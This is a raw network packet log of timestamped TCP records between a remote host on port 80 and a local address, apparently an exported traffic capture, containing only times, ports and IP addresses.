Dec 23, 2024 08:31:44.507744074 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.508619070 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.508687973 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.508728027 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.509615898 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.509660959 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.509733915 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.510670900 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.510709047 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.510788918 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.511691093 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.511749029 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.511782885 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.512696028 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.512741089 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.512808084 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.513717890 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.513756990 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.513808966 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.514748096 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.514781952 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.514900923 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.516541958 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.516578913 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.516838074 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.516850948 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.516880035 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.516887903 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.517810106 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.517851114 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.517910004 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.521512032 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.521559000 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.521673918 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.575552940 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.658282995 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.658386946 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.658446074 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.658818960 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.658889055 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.658929110 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.659548044 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.659619093 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.659661055 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.660577059 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.660680056 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.660717010 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.661587000 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.661689997 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.661735058 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.662597895 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.662734985 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.662775993 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.663650990 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.663804054 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.663846970 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.664664984 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.664792061 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.664849043 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.665693998 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.665770054 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.665819883 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.666698933 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.666801929 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.666848898 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.667709112 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.667874098 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.667912960 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.668721914 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.668828011 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.668864012 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.669735909 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.669838905 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.669894934 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.670753002 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.670809984 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.670847893 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.671791077 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.671890974 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.671947002 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.672782898 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.672909975 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.672950029 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.673835039 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.673947096 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.673983097 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.674849033 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.674962997 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.675005913 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.675880909 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.675968885 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.676019907 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.676908970 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.677030087 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.677069902 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.677892923 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.678013086 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.678054094 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.678920984 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.679074049 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.679114103 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.679986000 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.680002928 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.680061102 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.680984974 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.681090117 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.681133986 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.681972980 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.682085991 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.682128906 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.682991028 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.683114052 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.683157921 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.684029102 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.684135914 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.684170961 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.685029030 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.685144901 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.685180902 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.686055899 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.686161041 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.686193943 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.687120914 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.687212944 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.687246084 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.688113928 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.688214064 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.688250065 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.689135075 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.689244032 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.689289093 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.690149069 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.690304041 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.690342903 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.691196918 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.691306114 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.691359997 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.692223072 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.692322969 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.692353964 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.693221092 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.693391085 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.693432093 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.694243908 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.694350958 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.694396019 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.695261955 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.695343971 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.695386887 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.696304083 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.696388960 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.696522951 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.697310925 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.697426081 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.697464943 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.698329926 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.698446989 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.698483944 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.699335098 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.699455976 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.699502945 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.700354099 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.700479031 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.700546980 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.701386929 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.701497078 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.701554060 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.702398062 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.702462912 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.702502966 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.703424931 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.703567982 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.703607082 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.704426050 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.704551935 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.704596043 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.705751896 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.705806971 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.705852985 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.706525087 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.706653118 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.706782103 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.707559109 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.707726955 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.707807064 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.708544016 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.708626032 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.708755016 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.709676981 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.709788084 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.709935904 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.710585117 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.710722923 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.710764885 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.711616039 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.763030052 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.866739988 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.986311913 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.987176895 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.987190008 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.987205029 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.987237930 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.987293959 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.987808943 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.987950087 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.987987995 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.988821983 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.988903999 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.988940954 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.989810944 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.989924908 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.990206003 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.990888119 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.991036892 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.991076946 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.991872072 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.991981030 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.992037058 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.992898941 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.992989063 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.993026972 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.993928909 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.994061947 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.994108915 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.994924068 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.995033026 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.995079994 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.995959044 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.996083021 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.996121883 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.997065067 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.997144938 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.997191906 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.998019934 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.998102903 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.998142958 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:44.999032021 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.999135017 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:44.999174118 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.000036001 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.000191927 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.001081944 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.001143932 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.001434088 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.001485109 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.002126932 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.002204895 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.002253056 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.003093004 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.003225088 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.003427029 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.004158020 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.004261971 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.004313946 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.005178928 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.005296946 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.006179094 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.006233931 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.006269932 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.006325960 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.007188082 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.007285118 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.007324934 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.008208036 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.008316994 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.008377075 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.009272099 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.009377956 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.010276079 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.010340929 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.010437965 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.010477066 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.011343956 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.011368990 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.011418104 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.012326956 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.012427092 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.012521029 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.013303995 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.013408899 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.013447046 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.014326096 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.014422894 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.014480114 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.015408993 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.015495062 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.015533924 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.016418934 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.016484022 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.016552925 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.017415047 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.017513990 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.017555952 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.018479109 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.018816948 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.018856049 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.019448042 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.019705057 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.020179033 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.020464897 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.020601034 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.021342993 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.021481037 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.021554947 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.022326946 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.022494078 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.022659063 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.023539066 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.023586988 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.023662090 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.023699999 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.024539948 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.024672985 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.024718046 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.025546074 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.025729895 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.025778055 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.026623964 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.026649952 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.026702881 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.027621031 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.027765036 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.027910948 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.028633118 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.028762102 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.028805017 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.029664993 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.029892921 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.029937983 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.030662060 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.030755997 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.030792952 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.031708002 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.031836033 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.031877995 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.032749891 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.032886028 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.032924891 CET	49714	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:31:45.033766985 CET	80	49714	185.215.113.16	192.168.2.8
Dec 23, 2024 08:31:45.033830881 CET	80	49714	185.215.113.16	192.168.2.8
